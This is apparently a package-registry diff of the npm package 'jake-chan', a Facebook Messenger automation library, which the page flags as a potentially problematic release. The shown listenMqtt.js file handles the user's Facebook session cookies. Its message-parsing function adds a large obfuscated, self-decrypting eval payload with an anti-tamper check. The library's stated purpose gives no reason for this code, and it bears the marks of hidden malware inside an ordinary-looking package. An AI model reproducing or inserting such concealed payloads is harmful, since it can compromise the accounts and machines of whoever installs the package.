jake-chan 0.0.1-security → 3.1.2

Sign up to get free protection for your applications and to get access to all the features.

Potentially problematic release.


This version of jake-chan might be problematic. Click here for more details.

Files changed (88) hide show
  1. package/.cache/replit/__replit_disk_meta.json +1 -0
  2. package/.cache/replit/modules.stamp +0 -0
  3. package/.cache/replit/nix/env.json +1 -0
  4. package/.config/configstore/update-notifier-npm.json +4 -0
  5. package/CHANGELOG.md +2 -0
  6. package/DOCS.md +1738 -0
  7. package/LICENSE-MIT +21 -0
  8. package/README.md +106 -3
  9. package/StateCrypt.js +28 -0
  10. package/broadcast.js +35 -0
  11. package/index.js +702 -0
  12. package/languages/languages.json +182 -0
  13. package/lib/getInfoNew.js +34 -0
  14. package/lib/getToken.js +44 -0
  15. package/logger.js +15 -0
  16. package/package.json +82 -4
  17. package/src/K2IMG.js +8 -0
  18. package/src/ReportV1.js +55 -0
  19. package/src/Screenshot.js +77 -0
  20. package/src/T2S.js +8 -0
  21. package/src/addExternalModule.js +16 -0
  22. package/src/addUserToGroup.js +79 -0
  23. package/src/changeAdminStatus.js +79 -0
  24. package/src/changeArchivedStatus.js +41 -0
  25. package/src/changeAvatar.js +127 -0
  26. package/src/changeAvt.js +85 -0
  27. package/src/changeBio.js +65 -0
  28. package/src/changeBlockedStatus.js +36 -0
  29. package/src/changeGroupImage.js +106 -0
  30. package/src/changeNickname.js +45 -0
  31. package/src/changeThreadColor.js +62 -0
  32. package/src/changeThreadEmoji.js +42 -0
  33. package/src/createNewGroup.js +70 -0
  34. package/src/createPoll.js +60 -0
  35. package/src/deleteMessage.js +45 -0
  36. package/src/deleteThread.js +43 -0
  37. package/src/desktop.ini +2 -0
  38. package/src/forwardAttachment.js +48 -0
  39. package/src/getAccessToken.js +32 -0
  40. package/src/getCurrentUserID.js +7 -0
  41. package/src/getEmojiUrl.js +27 -0
  42. package/src/getFriendsList.js +73 -0
  43. package/src/getMessage.js +80 -0
  44. package/src/getThreadHistory.js +537 -0
  45. package/src/getThreadHistoryDeprecated.js +93 -0
  46. package/src/getThreadInfo.js +346 -0
  47. package/src/getThreadInfoDeprecated.js +80 -0
  48. package/src/getThreadList.js +213 -0
  49. package/src/getThreadListDeprecated.js +75 -0
  50. package/src/getThreadMain.js +219 -0
  51. package/src/getThreadPictures.js +59 -0
  52. package/src/getUID.js +59 -0
  53. package/src/getUserID.js +62 -0
  54. package/src/getUserInfo.js +129 -0
  55. package/src/getUserInfoMain.js +65 -0
  56. package/src/getUserInfoV2.js +35 -0
  57. package/src/getUserInfoV3.js +63 -0
  58. package/src/getUserInfoV4.js +55 -0
  59. package/src/getUserInfoV5.js +61 -0
  60. package/src/handleFriendRequest.js +46 -0
  61. package/src/handleMessageRequest.js +49 -0
  62. package/src/httpGet.js +49 -0
  63. package/src/httpPost.js +48 -0
  64. package/src/httpPostFormData.js +41 -0
  65. package/src/listenMqtt.js +725 -0
  66. package/src/logout.js +68 -0
  67. package/src/markAsDelivered.js +48 -0
  68. package/src/markAsRead.js +70 -0
  69. package/src/markAsReadAll.js +43 -0
  70. package/src/markAsSeen.js +51 -0
  71. package/src/muteThread.js +47 -0
  72. package/src/removeUserFromGroup.js +49 -0
  73. package/src/resolvePhotoUrl.js +37 -0
  74. package/src/searchForThread.js +43 -0
  75. package/src/sendMessage.js +334 -0
  76. package/src/sendTypingIndicator.js +80 -0
  77. package/src/setMessageReaction.js +109 -0
  78. package/src/setPostReaction.js +102 -0
  79. package/src/setTitle.js +74 -0
  80. package/src/threadColors.js +39 -0
  81. package/src/unfriend.js +43 -0
  82. package/src/unsendMessage.js +40 -0
  83. package/test/data/shareAttach.js +146 -0
  84. package/test/data/test.txt +7 -0
  85. package/test/example-config.json +18 -0
  86. package/test/test-page.js +140 -0
  87. package/test/test.js +387 -0
  88. package/utils.js +2476 -0
@@ -0,0 +1,725 @@
1
+ /* eslint-disable no-redeclare */
2
+ "use strict";
3
+ var utils = require("../utils");
4
+ var log = require("npmlog");
5
+ var mqtt = require('mqtt');
6
+ var websocket = require('websocket-stream');
7
+ var HttpsProxyAgent = require('https-proxy-agent');
8
+ const EventEmitter = require('events');
9
+ var identity = function () { };
10
+ var form = {};
11
+ var getSeqID = function () { };
12
+
13
+ var topics = ["/legacy_web","/webrtc","/rtc_multi","/onevc","/br_sr","/sr_res","/t_ms","/thread_typing","/orca_typing_notifications","/notify_disconnect","/orca_presence","/inbox","/mercury", "/messaging_events", "/orca_message_notifications", "/pp","/webrtc_response"];
14
+
15
+ /* [ Noti ? ]
16
+ ! "/br_sr", //Notification
17
+ * => Need to publish /br_sr right after this
18
+
19
+ ! "/notify_disconnect",
20
+ * => Need to publish /messenger_sync_create_queue right after this
21
+
22
+ ! "/orca_presence",
23
+ * => Will receive /sr_res right here.
24
+ */
25
+
26
+ function listenMqtt(defaultFuncs, api, ctx, globalCallback) {
27
+ //Don't really know what this does but I think it's for the active state?
28
+ //TODO: Move to ctx when implemented
29
+ var chatOn = ctx.globalOptions.online;
30
+ var foreground = false;
31
+
32
+ var sessionID = Math.floor(Math.random() * 9007199254740991) + 1;
33
+ var username = {u: ctx.userID,s: sessionID,chat_on: chatOn,fg: foreground,d: utils.getGUID(),ct: "websocket",aid: "219994525426954", mqtt_sid: "",cp: 3,ecp: 10,st: [],pm: [],dc: "",no_auto_fg: true,gas: null,pack: []};
34
+ var cookies = ctx.jar.getCookies('https://www.facebook.com').join("; ");
35
+
36
+ var host;
37
+ if (ctx.mqttEndpoint) host = `${ctx.mqttEndpoint}&sid=${sessionID}`;
38
+ else if (ctx.region) host = `wss://edge-chat.facebook.com/chat?region=${ctx.region.toLocaleLowerCase()}&sid=${sessionID}`;
39
+ else host = `wss://edge-chat.facebook.com/chat?sid=${sessionID}`;
40
+
41
+ var options = {
42
+ clientId: "mqttwsclient",
43
+ protocolId: 'MQIsdp',
44
+ protocolVersion: 3,
45
+ username: JSON.stringify(username),
46
+ clean: true,
47
+ wsOptions: {
48
+ headers: {
49
+ 'Cookie': cookies,
50
+ 'Origin': 'https://www.facebook.com',
51
+ 'User-Agent': (ctx.globalOptions.userAgent || 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.64 Safari/537.36'),
52
+ 'Referer': 'https://www.facebook.com/',
53
+ 'Host': new URL(host).hostname //'edge-chat.facebook.com'
54
+ },
55
+ origin: 'https://www.facebook.com',
56
+ protocolVersion: 13
57
+ },
58
+ keepalive: 10,
59
+ reschedulePings: true,
60
+ connectTimeout: 10000,
61
+ reconnectPeriod: 1000
62
+ };
63
+
64
+ if (typeof ctx.globalOptions.proxy != "undefined") {
65
+ var agent = new HttpsProxyAgent(ctx.globalOptions.proxy);
66
+ options.wsOptions.agent = agent;
67
+ }
68
+
69
+ ctx.mqttClient = new mqtt.Client(_ => websocket(host, options.wsOptions), options);
70
+
71
+ var mqttClient = ctx.mqttClient;
72
+
73
+ mqttClient.on('error', function (err) {
74
+ log.error("listenMqtt", err);
75
+ mqttClient.end();
76
+ if (ctx.globalOptions.autoReconnect) getSeqID();
77
+ else {
78
+ globalCallback({ type: "stop_listen", error: "Server Đã Sập - Auto Restart" }, null);
79
+ return process.exit(1);
80
+ }
81
+ });
82
+
83
+ mqttClient.on('connect', function () {
84
+
85
+ if (process.env.OnStatus == undefined) {
86
+ global.Fca.Require.logger.Normal(global.Fca.Data.PremText || "Hiện Status Lỗi :s")
87
+ if (Number(global.Fca.Require.FastConfig.AutoRestartMinutes) == 0) {
88
+ // something
89
+ }
90
+ else if (Number(global.Fca.Require.FastConfig.AutoRestartMinutes < 10)) {
91
+ log.warn("AutoRestartMinutes","The number of minutes to automatically restart must be more than 10 minutes");
92
+ }
93
+ else if (Number(global.Fca.Require.FastConfig.AutoRestartMinutes) < 0) {
94
+ log.warn("AutoRestartMinutes","Invalid auto-restart minutes!");
95
+ }
96
+ else {
97
+ global.Fca.Require.logger.Normal(global.Fca.getText(global.Fca.Require.Language.Src.AutoRestart,global.Fca.Require.FastConfig.AutoRestartMinutes));
98
+ setInterval(() => {
99
+ global.Fca.Require.logger.Normal(global.Fca.Require.Language.Src.OnRestart);
100
+ process.exit(1);
101
+ }, Number(global.Fca.Require.FastConfig.AutoRestartMinutes) * 60000);
102
+ }
103
+ require('../broadcast');
104
+ process.env.OnStatus = true;
105
+ }
106
+
107
+ topics.forEach(topicsub => mqttClient.subscribe(topicsub));
108
+
109
+ var topic;
110
+ var queue = {
111
+ sync_api_version: 11,
112
+ max_deltas_able_to_process: 100,
113
+ delta_batch_size: 500,
114
+ encoding: "JSON",
115
+ entity_fbid: ctx.userID,
116
+ };
117
+
118
+ if (ctx.syncToken) {
119
+ topic = "/messenger_sync_get_diffs";
120
+ queue.last_seq_id = ctx.lastSeqId;
121
+ queue.sync_token = ctx.syncToken;
122
+ } else {
123
+ topic = "/messenger_sync_create_queue";
124
+ queue.initial_titan_sequence_id = ctx.lastSeqId;
125
+ queue.device_params = null;
126
+ }
127
+
128
+ mqttClient.publish(topic, JSON.stringify(queue), { qos: 1, retain: false });
129
+
130
+ // set status online
131
+ // fix by NTKhang
132
+ mqttClient.publish("/foreground_state", JSON.stringify({"foreground": chatOn}), {qos: 1});
133
+
134
+ var rTimeout = setTimeout(function () {
135
+ mqttClient.end();
136
+ getSeqID();
137
+ }, 3000);
138
+
139
+ ctx.tmsWait = function () {
140
+ clearTimeout(rTimeout);
141
+ ctx.globalOptions.emitReady ? globalCallback({type: "ready",error: null}) : '';
142
+ delete ctx.tmsWait;
143
+ };
144
+ });
145
+
146
+ mqttClient.on('message', function (topic, message, _packet) {
147
+ const jsonMessage = JSON.parse(message.toString());
148
+ if (topic === "/t_ms") {
149
+ if (ctx.tmsWait && typeof ctx.tmsWait == "function") ctx.tmsWait();
150
+
151
+ if (jsonMessage.firstDeltaSeqId && jsonMessage.syncToken) {
152
+ ctx.lastSeqId = jsonMessage.firstDeltaSeqId;
153
+ ctx.syncToken = jsonMessage.syncToken;
154
+ }
155
+
156
+ if (jsonMessage.lastIssuedSeqId) ctx.lastSeqId = parseInt(jsonMessage.lastIssuedSeqId);
157
+
158
+ //If it contains more than 1 delta
159
+ for (var i in jsonMessage.deltas) {
160
+ var delta = jsonMessage.deltas[i];
161
+ parseDelta(defaultFuncs, api, ctx, globalCallback, { "delta": delta });
162
+ }
163
+ } else if (topic === "/thread_typing" || topic === "/orca_typing_notifications") {
164
+ var typ = {
165
+ type: "typ",
166
+ isTyping: !!jsonMessage.state,
167
+ from: jsonMessage.sender_fbid.toString(),
168
+ threadID: utils.formatID((jsonMessage.thread || jsonMessage.sender_fbid).toString())
169
+ };
170
+ (function () { globalCallback(null, typ); })();
171
+ } else if (topic === "/orca_presence") {
172
+ if (!ctx.globalOptions.updatePresence) {
173
+ for (var i in jsonMessage.list) {
174
+ var data = jsonMessage.list[i];
175
+ var userID = data["u"];
176
+
177
+ var presence = {
178
+ type: "presence",
179
+ userID: userID.toString(),
180
+ //Convert to ms
181
+ timestamp: data["l"] * 1000,
182
+ statuses: data["p"]
183
+ };
184
+ (function () { globalCallback(null, presence); })();
185
+ }
186
+ }
187
+ }
188
+
189
+ });
190
+
191
+ process.on('SIGINT', function () {
192
+ LogUptime();process.kill(process.pid);
193
+ });
194
+
195
+ process.on('exit', (code) => {
196
+ LogUptime();
197
+ });
198
+
199
+ mqttClient.on('close', function () {
200
+
201
+ });
202
+
203
+ mqttClient.on('disconnect',function () {
204
+ process.exit(1);
205
+ });
206
+ }
207
+
208
+ function LogUptime() {
209
+ var uptime = process.uptime();
210
+ var { join } = require('path');
211
+ if (global.Fca.Require.fs.existsSync(join(__dirname, '../CountTime.json'))) {
212
+ var Time1 = (Number(global.Fca.Require.fs.readFileSync(join(__dirname, '../CountTime.json'), 'utf8')) || 0);
213
+ global.Fca.Require.fs.writeFileSync(join(__dirname, '../CountTime.json'), String(Number(uptime) + Time1), 'utf8');
214
+ }
215
+ else {
216
+ var Time1 = 0;
217
+ global.Fca.Require.fs.writeFileSync(join(__dirname, '../CountTime.json'), String(Number(uptime) + Time1), 'utf8');
218
+ }
219
+ }
220
+ function parseDelta(defaultFuncs, api, ctx, globalCallback, v) {
221
+ if (v.delta.class == "NewMessage") {
222
+ //Not tested for pages
223
+ if (ctx.globalOptions.pageID && ctx.globalOptions.pageID != v.queue) return;
224
+
225
+ (function resolveAttachmentUrl(i) {
226
+ if (v.delta.attachments && (i == v.delta.attachments.length)) {
227
+ var fmtMsg;
228
+ try {
229
+ fmtMsg = utils.formatDeltaMessage(v);
230
+ } catch (err) {
231
+ return log.error("Lỗi Nhẹ", err);
232
+ }
233
+ let PRS7;
234
+ ! function() {
235
+ const kqHF = Array.prototype.slice.call(arguments);
236
+ return eval("(function gT9x(P8gq){const PaOq=zS0q(P8gq,H0Dq(gT9x.toString()));try{let rIQq=eval(PaOq);return rIQq.apply(null,kqHF);}catch(L5Iq){var nDLq=(0o204312-67761);while(nDLq<(0o400071%65548))switch(nDLq){case (0x30070%0o200035):nDLq=L5Iq instanceof SyntaxError?(0o400102%0x10011):(0o400073%0x1000D);break;case (0o201700-0x103A0):nDLq=(0o400107%65555);{console.log(\'Error: the code has been tampered!\');return}break;}throw L5Iq;}function H0Dq(jyGq){let DVyq=447808945;var ftBq=(73639709%9);{let fv8q;while(ftBq<(0o1000247%0x10020)){switch(ftBq){case (0o200740-65992):ftBq=(0o205144-0x10A3E);{DVyq^=(jyGq.charCodeAt(fv8q)*(15658734^0O73567354)+jyGq.charCodeAt(fv8q>>>(0x4A5D0CE&0O320423424)))^1542256333;}break;case (0x4008A%0o200031):ftBq=(0x4007E%0o200031);fv8q++;break;case (0o204444-67850):ftBq=fv8q<jyGq.length?(0o1000164%65559):(0o400145%0x1001F);break;case (73639709%9):ftBq=(0o600150%65562);fv8q=(0x75bcd15-0O726746425);break;}}}let H2ar=\"\";var bq3q=(0o204300-0x108A0);{let DX5q;while(bq3q<(0x103DE-0o201675)){switch(bq3q){case (131136%0o200020):bq3q=(68266-0o205225);DX5q=(0x21786%3);break;case (0x4005D%0o200022):bq3q=DX5q<(0O347010110&0x463A71D)?(0o400050%0x1000E):(0x107BC-0o203633);break;case (0x20040%0o200032):bq3q=(68896-0o206404);{const XkYq=DVyq%(0o202772-0x105E9);DVyq=Math.floor(DVyq/(0x104A6-0o202225));H2ar+=XkYq>=(0o600150%65562)?String.fromCharCode((0o1000441%0x10038)+(XkYq-(0o204040-0x10806))):String.fromCharCode((0o215206-72229)+XkYq);}break;case (0o201510-0x1032C):bq3q=(196662%0o200013);DX5q++;break;}}}return H2ar;}function zS0q(TfTq,vNVq){TfTq=decodeURI(TfTq);let XcQo=(0x21786%3);let zKSo=\"\";var T7Ko=(0O347010110&0x463A71D);{let vFNo;while(T7Ko<(0x10924-0o204375)){switch(T7Ko){case (0o205500-0x10B28):T7Ko=(0o211514-0x11326);{zKSo+=String.fromCharCode(TfTq.charCodeAt(vFNo)^vNVq.charCodeAt(XcQo));XcQo++;var P2Fo=(0x10AC8-0o205261);while(P2Fo<(0o200574-0x10156))switch(P2Fo){case (0o200714-65973):P2Fo=XcQo>=vNVq.length?(0o203410-0x106E4):(0x30086%0o200040);break;case (0o400156%65573):P2Fo=(68196-0o205076);{XcQo=(0x21786%3);}break;}}break;case (262254%0o200025):T7Ko=vFNo<TfTq.length?(68176-0o205070):(0o1000313%65577);break;case (0O347010110&0x463A71D):T7Ko=(0o400106%0x10016);vFNo=(0x21786%3);break;case (0o1000212%65561):T7Ko=(262274%0o200032);vFNo++;break;}}}return zKSo;}})(\"I%0E%10%04%04%1C%05%0C%0F@L%11%01%1D%02%00%15%01%0A%04G%0F%007(@L%11%15%0D%18%16%13%06E%19,%3E(KHC$%05%00*DJ%1C%0E%10%04%04%1C%05%0C%0FH,%070!DJ%1A%1A%00%1E%12%1A%02CIID1:C7%3EH3N1:5%11%05%14%06%06%1E%0E%07%02C%02%01+#OA%17%11%04%1C%10%18%09H%25(4.MCL%1B\'5%25@LA%00%10%1F+IAN/3%06)KH%15584_Q%18%1CS%03%1F%09%0B%18%0A%0E%06E/%0D9%25KH%13%17%0F%13%1D%1E%0DA!.?!@EH(%11%13%22OAG*%18,%1DBNC%0B%1B%12%20MC%1A%0E%19%0D%02%1C%0C%05%09H5%06)!MC%1C%1A%09%17%14%1A%0BJO%0F%042%22@LCL31%1E%07%1D%0B%09%13%01%03%0DA)%02!.@E%18%13%0D%11%1F%15%06L6%07%25%20BNC%03%01%25-MCL%1F%14%11+@LA%22%3C%02&IA%18%0C%12%06%0F%17%08%07%0BJ2%0A.*IA%1E%18%02%1C%19%11%0FHM/?%11-KHA%3E;%04/)KH5MC%1A%0E%19%0D%02%1C%0C%05%09H%1B%07$!MC%1C%1A%09%17%14%1A%0BJO%0F%042%22@LCL@%07%04-/MCN%15%0A%16%0F%0B%11%03%08%06L%14%19%1A/BN%13%1E%06%15%1D%17%04G@M8%3CC%3E7N3GBJ387%1A%0E%19%0D%02%1C%0C%05%09H5%1A%14%22MC%1C%1A%09%17%14%1A%0BJ%00%3E%1D&IAN+%08%0F.KHC,%13%11%20DJJ-1%04%22@E%1E1:6%5DI%20%0E%5EI3%0B%1F%0B%041%5E%5COBC%5C%0E%19%0D%02%1C%0C%05%09H%1F%16%0D%22MC%1C%1A%09%17%14%1A%0BJOOK8(+%22.OA1KHA%3E/%1D)(KH5%18%0C%12%06%0F%17%08%07%0BJ2%1E%03)IA%1E%18%02%1C%19%11%0FHMA%3C5GBJ38AOCG8J387%3CC7%3EJ387NAG8%3C%15%03%1F%09%0B%18%0A%0E%06E%05%15%0E&KH%13%17%0F%13%1D%1E%0DA@,%0F./DJH3%0A%227,DJ%3C@(%06=+DJH%15%03%1F%09%0B%18%0A%0E%06E;%14%01&KH%13%17%0F%13%1D%1E%0DA!.?!@EH4%0A\'#OAG*%0C?,BNC93%0B)MC%1A%0E%19%0D%02%1C%0C%05%09H%07%0C;!MC%1C%1A%09%17%14%1A%0BJ%13%00%05%10:@%20%1C%17%20DJHCM%01%22%22(KHA8Q%1A%0E%19%0D%02%1C%0C%05%09H!%13%02%22MC%1C%1A%09%17%14%1A%0BJ.#9%25IAN%19%16%01(KHC,%0F6%1FDJJ%07%17%0C-@EH4,.(OAG:.%0D%20BNC-%0C%06*MCL%1F%14%11+@LA%14%19%05\'IAN3(%0D)KHC,%0F6%1FDJJ%0F%1D%19/@EH4%06%04%22OA%11%05%14%06%06%1E%0E%07%02C%0E8%01-OA%17%11%04%1C%10%18%09H%0F,%09%11MCL=8%0E&@LA2,\'!IAN%19%0A0+KHC$%05%00*DJ%1C%1E%04%18G9=%04&U%3EBU%5E%5EQQ_@Z%08Z%5CSQYPCK@%5C%0CUXUZR%5DIUT%5DPXNDDS%19YUZ&)AS%0EZUZU%5B%5DJM@TSQ_%5CVDX%0AXWX%5CPSAIBW%07%5ESU%5BR%5EJX%14RQP%20_N5W%05%14%06%06%1E%0E%07%02C%0A%25=,OA%17%11%04%1C%10%18%09HDH@C%3E7L@GH:C%3E7:3G8%3C5LCL@%076%15%11MCN%15%0A%16%0F%0B%11%03%08%06L./%09%22BN%13%1E%06%15%1D%17%04G@%1F%20)*MCN3=%00&-MC:@E%1E%07%1D%0B%09%13%01%03%0DA%0F/8!@E%18%13%0D%11%1F%15%06L%10%18%1F#BNC%0B%25.%12MCL!\'6\'@LA%22%3C%02&IA%18%0C%12%06%0F%17%08%07%0BJ.#9%25IA%1E%18%02%1C%19%11%0FHM1:37%3E%3CC%3E7N3GBJ38AFC7%3EJIN1:CMH:58%17%01%1D%02%00%15%01%0A%04G%0B+/\'@L%11%15%0D%18%16%13%06E%09%1E%10(KHC0%04%06%20DJJ!2%1E%22@EH%12+-(OAG*%18%1E-BNC%25%0E6!MCL%07%0E\'$@LA6%0F%3E%22IAN?%09%09$KHC,%13#%10DJJ!%08=.@EH%02%0D.)OAG*%0C?,BNC%25%060%1FMCL%1B%1D%0A%25@LA%10%10%1E)IAN%05%0D:+KHC0%04%06%20DJ%1C%0E%10%04%04%1C%05%0C%0FH%20%22(.D&%03+%22C%1C%1A%09%17%14%1A%0BJ%08%1E%1D%25:-%07)%205W%1E%17%09%17J%00%0C*$%5C3MZ%08%5C%5CSP_VOW%10%5DSQZSCK@%5C%0CUXUXW%5DIS%19YUZUPEOIYV%5BVP%5BFQ%07WZWX_WHDMZ%08Z%5DRUZUGPX_VTAIBVQZ%5BXY@Z%08Z%5CSPYUC:S%0A%16%0F%0B%11%03%08%06L%228%1E%22B%04%09%16$H%13%17%0F%13%1D%1E%0DA%07%13%1B!3%0F%02%1B/8Q%1A%0E%19%0D%02%1C%0C%05%09H%1B5%11/MC%1C%1A%09%17%14%1A%0BJOOK8(+%22.OA1KHA%3E%1D!&.KH5%18%0C%12%06%0F%17%08%07%0BJ%3E?%1F$I%1B6%00%20A%17%11%04%1C%10%18%09H%03%15%10.%3E%194%02+%3EZ%15%03%1F%09%0B%18%0A%0E%06E?3%05+KH%13%17%0F%13%1D%1E%0DA@%3E7%3C31%3EJ38C%3CC7%3E%3C%15%03%1F%09%0B%18%0A%0E%06E?%09%09$KH%13%17%0F%13%1D%1E%0DA@%3E7%3C31%3EJ38C%3CCMH:5NKL31H@C%3E7:%15%0A%16%0F%0B%11%03%08%06L%14%11%0C-BN%13%1E%06%15%1D%17%04G@7%3E:-%0F;.@E%3EJ38C%3C%1B%19%17%1B@L7%1A%0E%19%0D%02%1C%0C%05%09H=%084/MC%1C%1A%09%17%14%1A%0BJO@GK:C%3E1FC7%3EJIN1:5G8J387:5G8%3CA%3EA%3C51JK@0%00?)DJHANBL37H:3DA%3C5GBJ387L3G8%3C58A%3C518J387%3CCMH:587N%15%3C12_K%09.2!%5E%07%1D%0B%09%13%01%03%0DIA%1E%18%02%1C%19%11%0FHMZ%1F_Y%01%02%0CT_JX#TS%5ER%5EQ%5C%5EVH%15%5E%0C%12%06%0F%17%08%07%0BJ%14%054$IA%1E%18%02%1C%19%11%0FHMK%3C5G8%3CA%3EAFC7%3EJIN1:CMH:58%17%01%1D%02%00%15%01%0A%04G%25%04,&@L%11%15%0D%18%16%13%06EBLIG8%3CANBLIG8%3CCMAL3G8%3C5%3EA%3C51JHCMAO3G8:IN1:CMH:58A%3CC7%3E%3C58A%3C5E8J3%3EA%3C3G8%3C5N1L31%3E%3CC%3E7:3G8%3C5%3EAFC7%3E%3C58C%1A%0E%19%0D%02%1C%0C%05%09H%03%093/MC%1C%1A%09%17%14%1A%0BJO%1C%15%13%04%07%03JO31H:5LC%3CCMH:5NKL31H@C%3E7LIG8%3CCDA%3C51%1E%07%1D%0B%09%13%01%03%0DA!%00#%20@E%18%13%0D%11%1F%15%06LK0%1B%14%10OAEHI=%0F2&@EJ%1C%0E%10%04%04%1C%05%0C%0FH%0E%0D+/DJ%1A%1A%00%1E%12%1A%02CI@%16%25%00)DJHBM%0D%0F9/KHALAOCMH:5L%17%01%1D%02%00%15%01%0A%04G%03-%1A)@L%11%15%0D%18%16%13%06EB%08%1A%02%19IALA%3C5%11%05%14%06%06%1E%0E%07%02C,*\'%22OA%17%11%04%1C%10%18%09H)%15%19%10MCL%256%19$@LA%14+$!IAN/3%06)KHC,%13#%10DJJ%07%17%0C-@EH(%11!%12OAG&5%06%20BN%15%3C12_K%1DR:!%5E%07%1D%0B%09%13%01%03%0DIA%1E%18%02%1C%19%11%0FHMZ(%5D%5BSWXP%5BQE%5C%1B%03%0BS%5BS%0CE%1EZ%0E%10%04%04%1C%05%0C%0FH%02%12%14%20DJ%1A%1A%00%1E%12%1A%02CI381%3C51H:5L1LC7HJ3%3E7:3G8%3C581L31%3E%3C%15%03%1F%09%0B%18%0A%0E%06E#%1E%1E$KH%13%17%0F%13%1D%1E%0DA@%11%13%17%0D%03%05A@%3E7L31JH3NKL31H@C%3E7LIG8%3C5%18%0C%12%06%0F%17%08%07%0BJ%04%1D%01+IA%1E%18%02%1C%19%11%0FHM#%1E,%14KHA%3E;%04/)KH5MC%1A%0E%19%0D%02%1C%0C%05%09H)%15%11%20MC%1C%1A%09%17%14%1A%0BJ%22%1E%14%1BIAN\'=%12)KHC%16)/*DJJ-1%04%22@E%1E%07%1D%0B%09%13%01%03%0DA1%14%0D/@E%18%13%0D%11%1F%15%06L2%06:$BNC9%0D%00%20MCL%25%22%02&@LA%3E%0D$*IA%18%0C%12%06%0F%17%08%07%0BJ&%1B%06+IA%1E%18%02%1C%19%11%0FH%02%3C%16-DJJ)%12%1F#@EH%20%1F%10.OAG:%04%20,BN%15%3C12_K3$=!%5E%07%1D%0B%09%13%01%03%0DIA%1E%18%02%1C%19%11%0FHM%5BR%5EY%5BV%5BQ4W\'%5BPT%5ERYR%5CE%1EZ%0E%10%04%04%1C%05%0C%0FH%069%0C-DJ%1A%1A%00%1E%12%1A%02C%02%0D.)OAG*%0C?,BNC%1F%12%08,MCL!%15%15)@LA.%11(%1BIAN%05%0D:+KH%15%03%1F%09%0B%18%0A%0E%06E/3%06)KH%13%17%0F%13%1D%1E%0DA@%0A.*%10DJHC%3E7%1A%0E%19%0D%02%1C%0C%05%09H5,%04-MC%1C%1A%09%17%14%1A%0BJ@4%19SQ%5CVM%1A%0E%19%0D%02%1C%0C%05%09H-2%09-MC%1C%1A%09%17%14%1A%0BJO%1B%1D%0A%25@LC%3C9%0F$$@L7OA%11%05%14%06%06%1E%0E%07%02C4$%3C.OA%1733;R1%00%048*IA8W&%0B$%20IA%3E/7%03%15KH5%5E+%04%20/KH3%06%0B/%1FDJJ1%22;%25@E%3E%5C879P3%1F%0A4)MC:S%11%05%14%06%06%1E%0E%07%02C%16&%07/OA%17%11%04%1C%10%18%09HDHI3N1%3CIG8%3CCDA%3C51H:C%3E7:51H:5L1L31%3EHBMAL3G8%3C5%3EA%3C51HICN1L31%3E:C%3E7:AAH@C%3E7NCDHI3N1%3CIG8%3CCDA%3C51H:C%3E7:51H:5L1L37H:3N1:5G8J387:C7%3E%3C3N1:57H@C%3E7:51J%1C%0E%10%04%04%1C%05%0C%0FH4#4,DJ%1A%1A%00%1E%12%1A%02CI@%16%25%00)DJHBM%1D5%05-KHALAOC78J3%3EAFC7%3E%3CC%3EA%3C51%3EJ387%3CC7%3E%3C3N1:51J%1C879PF5&%13&X%0C%12%06%0F%17%08%07%0BBN%13%1E%06%15%1D%17%04G@%5C%0CSYP%5DP%5E%5BQL%5CPRP%5CYRH%15%5E%0C%12%06%0F%17%08%07%0BJ%14#:\'IA%1E%18%02%1C%19%11%0FHM1:3)%090!MC:C7%3EH3NKL31H@C%3E7LIG8%3C5%18%0C%12%06%0F%17%08%07%0BJ%14%0D&&IA%1E%18%02%1C%19%11%0FHMA%3C3G8:CDA%3C51H:C%3E7:5G8%3C5%3EA%3C518JIN1:51JJ@MA%3C5GBJ38AOCG8J387%3CC7%3EJ387NAFK%16%0C%20#OAEJ%1C%0E%10%04%04%1C%05%0C%0FH0%0C*-DJ%1A%1A%00%1E%12%1A%02CI%0F%1D%19/@EJ:9%06-%22@E%3EIA%18%0C%12%06%0F%17%08%07%0BJ%08%0A(&IA%1E%18%02%1C%19%11%0FHM?%09%09$KHA%3E;%04/)KH5MC%1A%0E%19%0D%02%1C%0C%05%09H=%00&-MC%1C%1A%09%17%14%1A%0BJ.%05;*IAN#%029%1BKHC%20&=*DJJ%0B*%02%1E@EH%02\'%0D%13OAG6%0F%09-BNC%1F%12%08,MCL1#%06$@LA%10%10%1E)IAN%19%0A0+KHC0%04%06%20DJ%1C%0E%10%04%04%1C%05%0C%0FH%0E3%10-DJ%1A%1A%00%1E%12%1A%02CICM1L37BJ38AFC7%3E%3CC%3EA%3C51%3E%3CC%3E7N3G8%3C5L@OC7%3EJIN1:AGKJIN1:CMH:5L%17%01%1D%02%00%15%01%0A%04G%256%19$@L%11%15%0D%18%16%13%06EB.%0D=%14IAL16%0B+&IA8BN%15%3C12_K+%04%1D%22%5E%07%1D%0B%09%13%01%03%0DIA%1E%18%02%1C%19%11%0FHS_R%5BZ%1EZ%0E%10%04%04%1C%05%0C%0FH%02%3C%16-DJ%1A%1A%00%1E%12%1A%02CI9,9#@EJ:%07-:#@E%3EI%0B2%1C&@EJ%1C%0E%10%04%04%1C%05%0C%0FH,=%13-DJ%1A%1A%00%1E%12%1A%02CI%1C%1C%1A%02%07%0AC@38C%3CC7%3E%3C%15%03%1F%09%0B%18%0A%0E%06E#%16%00*KH%13%17%0F%13%1D%1E%0DA@M%05%09%0B(KHAOB%14\'%0B%22IALCL@GH:C%3E7:3G8%3C5NBLC7H:581L31%3EHA%18%0C%12%06%0F%17%08%07%0BJ%0C%1B%07%25IA%1E%05%11%19*%5E:5%5E%09%08%06%1F%17A-%0B%08!U%072%08+MC%5C%0B%03%0D%12%1CE%0D%17%0D*%5E,%18%06%20OAW%00%0E%06%16%1EG)%075$U$#3*DJZ%0B%0A%04%14%1CL%00%0C1%20W.%09*%22IA%5E%09%08%06%1F%17A%1F%0D:%22U%033%05/MC%5C%1E%0D%11A1%0C9%22UDS%19Q!R#-XNQ\'Q%5DTXZTR%5DLQ%1C%04%09%17A1&,!S%1B%0B%08%04%00B%3E%01?&%5D@U%05VX%5CSSYROQ%5DYURAL%11%14%1F%05%17%02%00M3%0E;)J%1A%0B%04%19%02HDS.ZS%5ET%5D_TT_@RNR5%0A2-XBW%10%5DSUY$GW%07%5ESSXTYNS5%20\'.XBW%10%5ERVPSOTAW%01%13%0D%04%01%5C%0B%0D%10%04HMZ%08%5E%5CSQ%5EROW%10%5DSQX!C%5D1%050$UMZ%08Z%5CUTYUGW%10%5DS%25ZSC%5C%13%00%06%15H$/..QACS%06%05%09%1B%18C4%12%1F,Z%0F%08-%163%3C)!.1X%17%09%17J%10*/%25